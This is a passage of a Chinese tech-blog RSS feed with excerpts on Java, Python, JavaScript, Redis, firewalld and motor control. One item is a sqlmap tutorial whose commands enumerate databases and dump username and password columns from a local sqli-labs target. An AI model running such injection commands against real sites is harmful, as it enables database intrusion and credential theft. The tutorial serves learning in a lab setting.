log.info(&#34;现在时间+1min:{}&#34;,time.plusMinutes(10)); System.out.println(&#34;------------------相差几天----------------&#34;); long days = Duration.between(LocalDateTime.now(), LocalDateTime.now().plusDays(1)).toDays(); log.info(&#34;相差：{}&#34;,days); System.out.println(&#34;------------------时间位置统计----------------------&#34;); System.out.println(now.getDayOfYear()); System.out.println(now.getDayOfMonth()); System.out.println(now.getDayOfWeek()); System.out.println(&#34;--------------------时间范围计算---------------------------&#34;); LocalTime end = LocalTime.of(22, 30); LocalTime str = LocalTime.of(8, 30); LocalTime play = LocalTime.of(22, 31); if (play.isBefore(str)||play.isAfter(end)){ System.out.println(&#34;超出时间&#34;); } System.out.println(&#34;-----------------------data与localz转换-------------------------&#34;); ZoneId zoneId = ZoneId.systemDefault(); ZonedDateTime zonedDateTime = now.atZone(zoneId); Instant instant = zonedDateTime.</description>
    </item>
    <item>
      <title>函数式编程学习笔记</title>
      <link>https://bchobby.github.io/posts/24f1336ffa072c3129b7920b68f4ac8a/</link>
      <pubDate>Thu, 30 Mar 2023 15:34:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24f1336ffa072c3129b7920b68f4ac8a/</guid>
      <description>函数式编程包含三部分 1、流 -- 针对集合操作 1.1 流获取 单列集合获取流： Collection.stream() 数组创建stream流：Array.stream()&#xA;map创建stream流: map-&amp;gt;转为单列集合 entrySet/keySet/valueSet -&amp;gt; 生成流 .stream()&#xA;1.2 中间操作 filter -- 过滤&#xA;map -- 对元素进行计算或者转换 一转一&#xA;distinct -- 去重 需要注意要重写equals方法&#xA;sorted -- 无参 待比较类必须实现Comparable接口 有参 重写比较器逻辑&#xA;limit -- 获取流里指定个数的元素&#xA;skip -- 跳过流中的前n个元素&#xA;flatMap -- 将一个对象转换成多个对象作为流中的元素 (一般用来从对象中获取集合类型的元素列表并转换成流塞进新流里)&#xA;1.3 终结操作 forEach -- 遍历操作&#xA;count -- 流中元素个数&#xA;max/min - 最大最小&#xA;collect - 流转换为集合 list/set/map集合 -- Collectors工具类&#xA;anyMatch - 任意一个符合条件返回true&#xA;allMatch - 所有元素都满足条件 返回true&#xA;noneMatch - 都不符合 返回true</description>
    </item>
    <item>
      <title>用arthas轻松排查线上问题</title>
      <link>https://bchobby.github.io/posts/289147cf6b986a766c72cdfd47619fdd/</link>
      <pubDate>Thu, 30 Mar 2023 15:20:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/289147cf6b986a766c72cdfd47619fdd/</guid>
      <description>你是否在项目中会碰到以下一些问题：&#xA;在代码中打印各种日志来排查，比如方法的入参，出参，及在方法体中打印日志判断走哪行代码还有你觉得代码没问题，可是运行出现却是以前的bug，感觉代码没修改，或者别人把你修改好之前的代码部署上去了，你想要看线上部署的是不是你修改的最新代码，把包从服务器上下载下来然后再反编译查看有些接口请求很慢，你想知道这个接口的方法调用链中耗时时间，你以前是不是通过切面去打印每个方法的耗时时间，修改代码，重新部署当进程CPU飙高或者占用内存较大，你用top命令查看，然后top -H -p x，把十进制转成16进制，然后jstack x | grep -A 10 y命令排查，会觉得有点麻烦当本地程序运行正常，线上代码运行不正常，你可能需要优化一个class几行代码，在线上看是否会运行正常，重新打包部署，会觉得有点麻烦 其实阿里的线上排查工具arthas就可以解决上述问题&#xA;下载地址：https://alibaba.github.io/arthas/arthas-boot.jar&#xA;直接执行命令：&#xA;java -jar arthas-boot.jar 如果出现中文乱码，需要添加参数 -Dfile.encoding=UTF-8 ：&#xA;java -Dfile.encoding=UTF-8 -jar arthas-boot.jar 直接输入你要连接的进程号：如 4&#xA;进入arthas交互界面，但是默认只能本地访问，如果需要远程访问的话，需要 在启动命令后面添加--target-ip 0.0.0.0&#xA;java -jar arthas-boot.jar --target-ip 0.0.0.0 在arthas配置文件里面可以查看开放的http端口&#xA;现在根据以下代码来进行测试：&#xA;package com.htf.smm.controller; import com.htf.smm.service.SmmIndexSyncService; import com.htf.smm.service.impl.TestServiceOne; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.repository.query.Param; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import java.util.Objects; @RestController @RequestMapping(&#34;/smm&#34;) public class SmmController { @Autowired private TestServiceOne testServiceOne; @RequestMapping(&#34;/ycTest&#34;) public void ycTest(Long time) { System.</description>
    </item>
    <item>
      <title>找不到ffmpeg.dll无法继续执行代码怎么办——解决方法</title>
      <link>https://bchobby.github.io/posts/da8422ac13afd00e176331d4ba2d9f77/</link>
      <pubDate>Thu, 30 Mar 2023 15:12:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da8422ac13afd00e176331d4ba2d9f77/</guid>
      <description>找不到ffmpeg.dll无法继续执行代码怎么办？其实&#34;找不到ffmpeg.dll&#34; 是一种常见的错误，通常在尝试运行某些程序时会出现。该错误通常是由于您的计算机缺少所需的动态链接库文件 (DLL) 或该文件已损坏而引起的。下面，我们将介绍几种可能的解决方案来帮助您解决这个问题。&#xA;方法一：重新安装相关软件或程序 如果您遇到找不到ffmpeg.dll 的问题是在打开某个程序或使用某个软件时才出现，那么您可以尝试重新安装该软件或程序，以确保所有关键的DLL文件都已正确安装并位于正确的位置。请确保您从可靠的来源下载最新版本的安装包，并按照指示进行操作完成安装。&#xA;方法二：使用dll修复工具来修复 直接在百度上搜索电脑修复精灵，进入官方站点下载一个dll修复工具，利用这个dll修复工具直接进行一键修复就可以了，它会根据你电脑系统缺失了哪些dll文件，然后进行相关的修复，如你丢失了dll就会帮你修复dll文件，操作比较简单方便。&#xA;DLL修复工具_一键修复所有dll缺失msvcp140.dll丢失的解决方法–电脑修复精灵&#xA;方法三：从互联网上下载ffmpeg.dll 如果您确定丢失的 DLL 文件为 ffmpeg.dll，您可以考虑从网络上寻找并下载该文件。如果您通过可信赖的站点下载了正确版本的文件，只需将其复制到适当目录，即可解决找不到该文件的问题。但需要注意的是，从不受信任来源下载文件可能会对您的计算机安全造成威胁，因此请务必仔细检查您下载的文件的来源和版本。&#xA;方法四：使用SFC扫描和修复系统文件 SFC (System File Checker) 是一个 Windows 工具，它可以扫描并自动恢复系统中的损坏或丢失的文件。要使用此工具，请按下 &#34;Win + X&#34; 组合键，选择 &#34;命令提示符 (管理员)&#34;，输入 &#34;sfc /scannow&#34; 命令，然后按回车键。该命令将会启动 SFC 工具开始扫描并自动修复损坏或丢失的文件。您的计算机可能需要一些时间来完成这个过程。&#xA;方法五：更新或重装操作系统 如果您已经尝试了上述所有方法，但仍然遇到找不到ffmpeg.dll 的问题，则可能需要考虑更新或重新安装您的操作系统。升级至较新版本的操作系统可能会解决某些 DLL 文件丢失的问题，并带来其他性能和安全优势。&#xA;以上是找不到ffmpeg.dll无法继续执行代码怎么办的一些相关分享。请注意，在尝试任何解决方法之前，请务必备份您的计算机数据以及谨慎操作。希望本文能帮助到大家。</description>
    </item>
    <item>
      <title>python：openpyxl基础操作（一）：创建.xlsx文件</title>
      <link>https://bchobby.github.io/posts/30fe0686082cbaa8ceb1239d1265b6b4/</link>
      <pubDate>Thu, 30 Mar 2023 15:07:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30fe0686082cbaa8ceb1239d1265b6b4/</guid>
      <description>目录&#xA;前言：&#xA;安装openpyxl：&#xA;创建.xlsx文件：&#xA;添加单元格内容&#xA;单个添加：&#xA;多个添加：&#xA;增删单元格：&#xA;遍历表格中的值：&#xA;合并拆分单元格：&#xA;前言： 本文仅供个人学习记录+复习所用，探索过程中难免出现差错和纰漏，如文中有错误，以及可以改进的地方，还请各位不吝赐教。&#xA;安装openpyxl： 安装openpyxl的时候，我遇到了各种各样的错误，首先在pycharm内部解释器中进行安装，显示安装失败。&#xA;搜索后发现，是由于自己的pip没有达到最新版本，在cmd中更新了pip，并直接pip install openpyxl&#xA;结果依然出了错，无法安装。&#xA;（由于目前已经安装完毕，没有保存当时出错的流程图，但我自己总结了下原因，如果有相同情况的小伙伴可以尝试下）&#xA;1. 更新pip：我在pycharm中遇到过“有新版本，但无法刷新出新版本，无法更新的情况”&#xA;曾使用cmd对pip进行更新，但由于我的pycharm和其项目均在D盘，而我更新的操作是在C:/user里进行的，可能导致“更新”没有发生在d盘中。&#xA;（这一点的确是我没想到的，不过也暴露了我非科班、对计算机了解太浅显的短板。）&#xA;解决这一问题，是我在pycharm里再次尝试安装openpyxl的时候，根据pycharm给的提示，在cmd中D盘的某一地址下进行操作。&#xA;这次更新成功了。&#xA;2. 更新完pip就可以直接在解释器内安装openpyxl了。&#xA;大部分情况下，pycharm里会在打开解释器的时候显示可以更新的包，直接更新即可。&#xA;创建.xlsx文件： 首先引入包：&#xA;from openpyxl import Workbook from openpyxl import load_workbook 使用Workbook创建excel表格。注意首字母需要大写。如果忽略，会报错。&#xA;创建表格后需要进行保存，接下来的内容会介绍具体操作，但要注意，创建、修改后都不要忘记保存，否则修改后的内容只会出现在pycharm里，而不是表格中。&#xA;使用load_workbook加载已经创建好的表格。&#xA;wb = Workbook() # pay attention to the first letter &#39;&#39;&#39;创建一个表格，注意，wb并非是保存文件的名字，而是变量。 此时wb是一个文件，里面什么都没有，没有sheet表单&#39;&#39;&#39; sheet = wb.active &#39;&#39;&#39;此时我们在文件wb中创建了一个sheet&#39;&#39;&#39; 创建单个表单的时候可以直接使用wb.active，这种情况适用于在空文件中创建第一个sheet。&#xA;提问：是否可以多次调用active？&#xA;答：可以多次调用，但只能生成第一个调用active的表单，其余调用结果不予显示。&#xA;提问：那么如何创建多个表单？&#xA;答：&#xA;sheet_1 = wb.create_sheet(&#39;sheet_1&#39;) sheet_2 = wb.create_sheet(&#39;sheet_2&#39;) 括号内传入的参数是表单的名称，生成的表单是空表单。</description>
    </item>
    <item>
      <title>转换CAJ到PDF：教你如何将CAJ文件转成PDF文件</title>
      <link>https://bchobby.github.io/posts/0064737f6c4d9147493d81a6d291e86c/</link>
      <pubDate>Thu, 30 Mar 2023 12:04:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0064737f6c4d9147493d81a6d291e86c/</guid>
      <description>CAJ文件格式是中国知网（CNKI）的专有文件格式，是一种用于存储和传输学术论文的文件格式。由于CAJ格式的特殊性，如果需要在其他平台上阅读或编辑，通常需要将其转换成更通用的文件格式，如PDF。本文将介绍如何将CAJ文件转换成PDF文件。&#xA;方法一：使用CAJViewer&#xA;步骤一：下载安装CAJViewer 首先，需要下载并安装CAJViewer软件。可以在CNKI官网或其它软件下载站点下载CAJViewer。&#xA;步骤二：打开CAJ文件 在安装完成后，双击打开CAJViewer软件，在菜单栏中选择“文件”-“打开”，选择要转换的CAJ文件。&#xA;步骤三：转换为PDF格式 在打开的CAJ文件中，选择“文件”-“另存为”，在弹出的另存为窗口中，将文件格式设置为“PDF文件”并保存即可。&#xA;方法二：使用第三方转换工具&#xA;步骤一：下载安装转换工具 可以在网上搜索并下载CAJ转换工具，例如“爱思PDF转换器”、“CAJ转PDF”等等。&#xA;步骤二：选择要转换的CAJ文件 在安装完成后，双击打开转换工具软件，选择要转换的CAJ文件。&#xA;步骤三：设置转换选项 在转换工具中，可以设置PDF的输出目录、页面范围、分辨率等选项。&#xA;步骤四：转换为PDF格式 在设置好转换选项后，点击“开始转换”即可将CAJ文件转换成PDF文件。&#xA;方法三：使用在线转换工具&#xA;步骤一：打开在线转换网站 可以在网上搜索并打开一些CAJ转换PDF的在线转换网站，例如“Online Convert”、“记灵在线工具”等等。&#xA;步骤二：上传CAJ文件 在在线转换网站中，点击“选择文件”或“上传文件”，选择要转换的CAJ文件。&#xA;步骤三：设置转换选项 在转换网站中，可以设置PDF的输出目录、页面范围、分辨率等选项。&#xA;步骤四：转换为PDF格式 在设置好转换选项后，点击“转换”即可将CAJ文件转换成PDF文件。&#xA;总结： 以上就是将CAJ文件转换成PDF文件的三种方法，使用CAJViewer转换速度较快，但需要先下载并安装软件；第三方转换工具和在线转换工具不需要下载软件，但转换速度较慢。根据个人情况选择合适的方法即可。​</description>
    </item>
    <item>
      <title>Sqlmap的基本使用</title>
      <link>https://bchobby.github.io/posts/1fb43f1c59e99d3ba6dd025b903db18a/</link>
      <pubDate>Thu, 30 Mar 2023 11:15:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fb43f1c59e99d3ba6dd025b903db18a/</guid>
      <description>一，sqlmap支持的六种注入方式 1，基于布尔的盲注 通过返回页面判断条件真假的注入&#xA;2，基于时间的盲注 不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加来判断）&#xA;3，基于报错注入 页面会返回报错信息，或者直接把注入的语句直接返回在页面中&#xA;4，联合查询注入 使用union情况下的注入&#xA;5，堆查询注入 可以同时执行多条语句的执行时的注入&#xA;6，内联查询注入 在sql语句中执行sql语句&#xA;二，sqlmap的基本使用 1，检查是否存在注入点 python sqlmap.py -u &#34;http://127.0.0.1/sql/Less-1/?id=1&#34;&#xA;2，查看所有数据库 python sqlmap.py -u &#34;http://127.0.0.1/sql/Less-1/?id=1&#34; --dbs&#xA;3，查看当前使用的数据库 python sqlmap.py -u &#34;http://127.0.0.1/sql/Less-1/?id=1&#34; --current-db&#xA;4，查看表名 python sqlmap.py -u &#34;http://127.0.0.1/sql/Less-1/?id=1&#34; -D security --tables -D指定数据库，--tables列出表名&#xA;5，列出表中所有字段名 python sqlmap.py -u &#34;http://127.0.0.1/sql/Less-1/?id=1&#34; -D security -T users --columns&#xA;-D指定数据库，-T指定表名，-columns列出所有字段&#xA;6，列出字段内容（数据） python sqlmap.py -u &#34;http://127.0.0.1/sql/Less-1/?id=1&#34; -D security -T users -C username,password --dump&#xA;-D指定数据库，-T指定数据表，-C指定要列出的字段，--dump列出字段内容，转存数据&#xA;根据提示内容找到转存的数据：</description>
    </item>
    <item>
      <title>【FOC无刷电机控制】六步换向、FOC，STM32cubemx从零开始搭建BLDC六步换相代码、FOC代码（基于霍尔传感器）</title>
      <link>https://bchobby.github.io/posts/4d742cc4656fc557c40dcb237e47313f/</link>
      <pubDate>Thu, 30 Mar 2023 09:51:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d742cc4656fc557c40dcb237e47313f/</guid>
      <description>目录 O、前言1 个人经验2 软硬件介绍 一、六步换相1 新建cubemx工程2 工程基础配置（1）RCC时钟配置（2）SYS 调试接口（3）工程设置，生成MDK工程 3 串口（1）cubemx配置（2）printf重映射（3）测试 4 霍尔传感器（1）Cubemx配置（2）初始化启动（3）测试定时中断（4）测试霍尔中断 4 开环控制（1）普通PWM cubemx配置（2）普通GPIO配置（3）开环控制 二、FOC O、前言 用作备忘录，也希望能帮助正在入门摸索的朋友少走弯路，从外设开始，到开环，到闭环。参考文章代码：正点原子、野火、硬石，三家文档几乎一样。（个人感觉原子文档写的好） 1 个人经验 刚开始学无刷电机控制时是直接去看的FOC，网上理论一大堆，看了几天，理论大概明白了，想去实践编程，发现都是大多都是电机库，或者一些别人的完整代码，没有步骤教学。经过一顿摸索，我的结论是把理论化为单片机代码实际去控制电机的过程，某种程度上比学习理论更困难。我个人做一些单片机小项目的习惯是从头开始做。从一个空白工程开始，一个外设一个外设的调，调通一个测试一个，要用的所有外设调完再去加入控制代码，由开环到闭环，一步一步的来。直接用别人写好的一套代码总感觉心里没底。对于无刷电机控制，我的步骤是这样的：1调霍尔传感器，2调PWM，3调开环控制，4调闭环 2 软硬件介绍 软件：STM32cubemx+keil5硬件：网上买的一块无刷电机驱动板，芯片是STM32G070。要注意的是我的电机是BLDC，2对极，间隔60度安装的霍尔传感器。所以我现在实现的都是 基于霍尔传感器的开闭环控制。暂时没整过基于编码器的、基于无感的。 一、六步换相 六步换向用到的单片机外设：（根据个人板子引脚要做一些修改） TIM3：选择霍尔传感器模式，用于获取3个霍尔值。TIM1：通道123，普通PWM模式，用于驱动半桥电路的3个上半桥。（因为我这边用的是HPWM-LON的控制。）普通IO：3个，推挽输出，用于驱动半桥电路的3个下半桥。USART2：用于调试用。RTC：用于闭环控制。（这个用RTC中断可能不太合适，但是暂时这样…） 代码整体的调用流程： 开环：电机转动换相时，触发霍尔中断，在霍尔中断回调函数里读取当前的相位值，然后根据相位值进行换相。闭环：在开环的基础上，再开一个定时器，在里边做PID运算，更改占空比设定值。 六步换向-开环控制代码：https://github.com/wyfroom/BLDC_LiuBu_KaiHuan_hall六步换向-闭环控制代码： 1 新建cubemx工程 2 工程基础配置 （1）RCC时钟配置 选择时钟源，我这块板子只有外部8M晶振。&#xA;手动输入最大时钟频率，然后回车。我这块板子是64M。&#xA;（2）SYS 调试接口 我的下载器是SWD两根线的，所以我选这个。&#xA;（3）工程设置，生成MDK工程 点击生成代码&#xA;3 串口 这快板子没显示屏，调试中串口还是很有必要。我这块板子是串口2，看好引脚，串口自动配置的引脚不一定是板子上的。比如我这块板子，就不是这两引脚。 （1）cubemx配置 （2）printf重映射 添加如下代码到工程的 usart.c 文件中的 /* USER CODE BEGIN 0 / 和 / USER CODE END 0 */之间。 #include &amp;lt;stdio.h&amp;gt; #ifdef __GNUC__ #define PUTCHAR_PROTOTYPE int __io_putchar(int ch) #else #define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f) #endif PUTCHAR_PROTOTYPE { //具体哪个串口可以更改huart1为其它串口 HAL_UART_Transmit(&amp;amp;huart2, (uint8_t *)&amp;amp;ch, 1 , 0xffff); return ch; } 在main.</description>
    </item>
    <item>
      <title>CentOS8提高篇18：防火墙高级使用 命令备忘 批量开放端口</title>
      <link>https://bchobby.github.io/posts/f43aae2748c9dd53b22375795a974cab/</link>
      <pubDate>Thu, 30 Mar 2023 08:34:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f43aae2748c9dd53b22375795a974cab/</guid>
      <description>Centos6 使用的是iptables，Centos7 以后使用的是filewall（-cmd）&#xA;iptables 用于过滤数据包，属于网络层防火墙。&#xA;firewall 能够允许哪些服务可用，那些端口可用...属于更高一层的防火墙。&#xA;1.firewalld的基本使用 启动： systemctl start firewalld&#xA;查看状态：systemctl status firewalld&#xA;停止： systemctl disable firewalld&#xA;禁用： systemctl stop firewalld&#xA;在开机时启用一个服务：systemctl enable firewalld.service&#xA;在开机时禁用一个服务：systemctl disable firewalld.service&#xA;查看服务是否开机启动：systemctl is-enabled firewalld.service&#xA;查看已启动的服务列表：systemctl list-unit-files|grep enabled&#xA;查看启动失败的服务列表：systemctl --failed&#xA;2.配置firewalld-cmd 查看版本： firewall-cmd --version&#xA;查看帮助： firewall-cmd --help&#xA;显示状态： firewall-cmd --state&#xA;查看防火墙规则： firewall-cmd --list-all&#xA;查看所有打开的端口： firewall-cmd --zone=public --list-ports&#xA;更新防火墙规则： firewall-cmd --reload&#xA;查看区域信息: firewall-cmd --get-active-zones&#xA;查看指定接口所属区域： firewall-cmd --get-zone-of-interface=eth0&#xA;拒绝所有包：firewall-cmd --panic-on&#xA;取消拒绝状态： firewall-cmd --panic-off&#xA;查看是否拒绝： firewall-cmd --query-panic</description>
    </item>
    <item>
      <title>js基础之构造函数和类</title>
      <link>https://bchobby.github.io/posts/c7a2d7cf000a2e68d7764d3e5c56ae10/</link>
      <pubDate>Thu, 30 Mar 2023 08:05:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7a2d7cf000a2e68d7764d3e5c56ae10/</guid>
      <description>JS的构造函数和ES6的类是JS中很重要的概念，也是面向对象编程的核心。在本文中，我们将探讨JS的构造函数和ES6的类的基础知识，包括它们的定义、使用方法以及它们之间的区别。&#xA;JS的构造函数 JS中的构造函数是一种特殊的函数，用于创建对象。它们是通过使用new关键字调用的函数，并且在函数内部使用this关键字来引用新创建的对象。构造函数可以包含属性和方法，这些属性和方法可以在创建对象时被调用。&#xA;以下是一个简单的JS构造函数的例子：&#xA;function Person(name, age) { this.name = name; this.age = age; this.sayHello = function() { console.log(&#34;Hello, my name is &#34; + this.name + &#34; and I am &#34; + this.age + &#34; years old.&#34;); } } var person1 = new Person(&#34;John&#34;, 30); person1.sayHello(); // 输出：Hello, my name is John and I am 30 years old. // 原型上添加方法 Person.prototype.getName = function() { return this.name } 在上面的例子中，我们定义了一个名为Person的构造函数，并将其用于创建一个名为person1的新对象。我们传递了两个参数，即name和age，这些参数用于设置person1对象的属性。此外，我们还定义了一个名为sayHello的方法，该方法将输出一个问候语，其中包括person1对象的名称和年龄。&#xA;ES6的类 ES6引入了类的概念，这是一种更简洁、更易于阅读和理解的面向对象编程方式。类是一种特殊的函数，用于创建对象。与构造函数不同，类的定义中包含了构造函数以及其他方法和属性的定义。</description>
    </item>
    <item>
      <title>D2L，Pytorch win10下使用dataloader时出现runtimeerror: dataloader worker (pid(s) ) exited unexpectedly的解决方案</title>
      <link>https://bchobby.github.io/posts/67e729624c1da61bdb1c10f14ead1317/</link>
      <pubDate>Wed, 29 Mar 2023 20:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67e729624c1da61bdb1c10f14ead1317/</guid>
      <description>我是用python3.8+pytorch1.11，在李沐老师的课程展示中使用的环境是linux没有报错，但win10下在dataloader使用前需要加上&#xA;if __name__ == &#34;__main__&#34;: 例如：&#xA;batch_size = 256 if __name__ == &#34;__main__&#34;: train_iter, test_iter = d2l.load_data_fashion_mnist(batch_size) 即可成功运行&#xA;网上还有其他方法将num_worker设为0也可以单线程成功运行,不过直接导入d2l的dataloader没有对应的参数&#xA;可能原因：&#xA;程序在运行时启用了多线程，而多线程的使用用到了freeze_support()函数。&#xA;freeze_support()函数在linux和类unix系统上可直接运行，在windows系统中需要跟在main后边。&#xA;更新：可以直接改包内代码&#xA;找到此文件…\Anaconda\Lib\site-packages\d2l\torch.py&#xA;编辑其中的def get_dataloader_workers():&#xA;改为return 0&#xA;或者return 0 if sys.platform.startswith(&#39;win&#39;) else 4</description>
    </item>
    <item>
      <title>Redis 和 MySQL 如何保持数据一致性?</title>
      <link>https://bchobby.github.io/posts/e426fe1f347ce58d57f52ab64b41fa49/</link>
      <pubDate>Wed, 29 Mar 2023 20:53:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e426fe1f347ce58d57f52ab64b41fa49/</guid>
      <description>在高并发的场景下，大量的请求直接访问MySQL很容易造成性能问题。所以，我们都会用Redis来做数据的缓存，削减对数据库的请求。但是，MySQL和Redis是两种不同的数据库，如何保证不同数据库之间数据的一致性就非常关键了。 一、导致数据不一致的原因？ 在高并发的业务场景下，数据库大多数情况都是用户并发访问最薄弱的环节。所以，就需要使用redis做一个缓冲操作，让请求先访问到redis，而不是直接访问MySQL等数据库；读取缓存步骤一般没有什么问题，但是一旦涉及到数据更新，数据库和缓存更新，就容易出现缓存(Redis)和数据库（MySQL）间的数据一致性问题；这个业务场景，主要是解决读数据从Redis缓存，一般都是按照下图的流程来进行业务操作。 二、缓存先后删除问题 “ 不管是先写MySQL数据库，再删除Redis缓存；还是先删除缓存，再写库，都有可能出现数据不一致的情况。&#xA;1. 先删除缓存 1)、如果先删除Redis缓存数据，然而还没有来得及写入MySQL，另一个线程就来读取；&#xA;2)、这个时候发现缓存为空，则去Mysql数据库中读取旧数据写入缓存，此时缓存中为脏数据；&#xA;3)、然后数据库更新后发现Redis和Mysql出现了数据不一致的问题。&#xA;2. 后删除缓存 1)、如果先写了库，然后再删除缓存，不幸的写库的线程挂了，导致了缓存没有删除；&#xA;2)、这个时候就会直接读取旧缓存，最终也导致了数据不一致情况；&#xA;3)、因为写和读是并发的，没法保证顺序,就会出现缓存和数据库的数据不一致的问题。&#xA;更多内容请关注公众号【程序员Style】，获取更多精彩内容！&#xA;三、解决方案 1. 延时双删策略 1). 基本思路 在写库前后都进行redis.del(key)操作，并且设定合理的超时时间。&#xA;伪代码如下：&#xA;public void write( String key, Object data ){ redis.delKey(key); db.updateData(data); Thread.sleep(500); redis.delKey(key); } 2). 具体步骤 先删除缓存；再写数据库；休眠500毫秒；再次删除缓存。 “ 问题：这个500毫秒怎么确定的，具体该休眠多久时间呢？&#xA;需要评估自己的项目的读数据业务逻辑的耗时。这么做的目的，就是确保读请求结束，写请求可以删除读请求造成的缓存脏数据。当然这种策略还要考虑redis和数据库主从同步的耗时。最后的的写数据的休眠时间：则在读数据业务逻辑的耗时基础上，加几百ms即可。 比如：休眠1秒。&#xA;3). 设置缓存过期时间是关键点 从理论上来说，给缓存设置过期时间，是保证最终一致性的解决方案；所有的写操作以数据库为准，只要到达缓存过期时间，缓存删除；如果后面还有读请求的话，就会从数据库中读取新值然后回填缓存。 4). 方案缺点 结合双删策略+缓存超时设置，这样最差的情况就是：&#xA;在缓存过期时间内发生数据存在不一致；同时又增加了写请求的耗时。 2. 异步更新缓存（基于Mysql binlog的同步机制） 1). 整体思路 1&amp;gt;、涉及到更新的数据操作，利用Mysql binlog 进行增量订阅消费；&#xA;2&amp;gt;、将消息发送到消息队列；&#xA;3&amp;gt;、通过消息队列消费将增量数据更新到Redis上。&#xA;2). 操作情况 读取Redis缓存：热数据都在Redis上；&#xA;写Mysql：增删改都是在Mysql进行操作；&#xA;更新Redis数据：Mysql的数据操作都记录到binlog，通过消息队列及时更新到Redis上。&#xA;3). Redis更新过程 数据操作主要分为两种：</description>
    </item>
    <item>
      <title>js简单实现轮播图效果</title>
      <link>https://bchobby.github.io/posts/d096db96e081b75d80d88ae175ade0d4/</link>
      <pubDate>Wed, 29 Mar 2023 20:38:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d096db96e081b75d80d88ae175ade0d4/</guid>
      <description>前言 这里将会用js简单实现轮播图的效果&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、静态页面 代码如下（示例）：&#xA;&amp;lt;div id=&#34;box&#34;&amp;gt; &amp;lt;div id=&#34;parent&#34;&amp;gt; &amp;lt;div id=&#34;child&#34;&amp;gt; &amp;lt;img src=&#34;./images/1.jpg&#34; alt=&#34;&#34;&amp;gt; &amp;lt;img src=&#34;./images/2.jpg&#34; alt=&#34;&#34;&amp;gt; &amp;lt;img src=&#34;./images/3.jpg&#34; alt=&#34;&#34;&amp;gt; &amp;lt;img src=&#34;./images/4.jpg&#34; alt=&#34;&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;ulList&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li style=&#34;background-color: red;&#34;&amp;gt;1&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;2&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;3&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;4&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;leftBtn&#34;&amp;gt;左&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;rightBtn&#34;&amp;gt;右&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 二、css代码 代码如下（示例）：&#xA;* { padding: 0; margin: 0; } #box { margin: 100px auto; width: 600px; height: 400px; position: relative; } #parent { width: 600px; height: 400px; border: 1px solid red; overflow: hidden; } #child { width: 2400px; height: 400px; } #child img { float: left; width: 600px; height: 400px; display: block; } #ulList { position: absolute; left: 50px; bottom: 20px; } #ulList ul { list-style: none; overflow: hidden; } ul li { float: left; padding: 10px 15px; border: 1px solid black; border-right: 0; } ul li:last-child { border-right: 1px solid black; } #leftBtn, #rightBtn { position: absolute; top: 185px; padding: 10px 10px; border: 1px solid black; } #leftBtn { left: 0; } #rightBtn { right: 0; } 三、js代码 var parent = document.</description>
    </item>
    <item>
      <title>SpringBoot集成Mybatis-Plus最新代码自动生成器v3.5.1</title>
      <link>https://bchobby.github.io/posts/6ea656f71b43f47e207d35f47650a737/</link>
      <pubDate>Wed, 29 Mar 2023 18:09:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ea656f71b43f47e207d35f47650a737/</guid>
      <description>目录 一、概述二、导入依赖三、运行类（放在测试类中即可）四、配置说明4.1 数据库配置(DataSourceConfig)4.2 全局配置(GlobalConfig)4.3 包配置(PackageConfig)4.4 模板配置(TemplateConfig)4.5 注入配置(InjectionConfig)4.6 策略配置(StrategyConfig)4.6.1 Entity 策略配置4.6.2 Controller 策略配置4.6.3 Service 策略配置4.6.4 Mapper 策略配置 五、使用自定义格式输出文件（FreeMarkerTemplate模板引擎）5.1 存放模板文件位置如下 一、概述 官方原话&#xA;AutoGenerator 是 MyBatis-Plus 的代码生成器，通过 AutoGenerator 可以快速生成 Entity、Mapper、Mapper XML、Service、Controller 等各个模块的代码，极大的提升了开发效率&#xA;配置环境&#xA;开发工具 IDEAJDK 15数据库Mysql基于SpringBoot开发框架 二、导入依赖 &amp;lt;!--使用Controller注解需要使用--&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!--web--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--数据库驱动--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.28&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--Lombok--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--mybatis-plus--&amp;gt; &amp;lt;dependency&amp;gt; 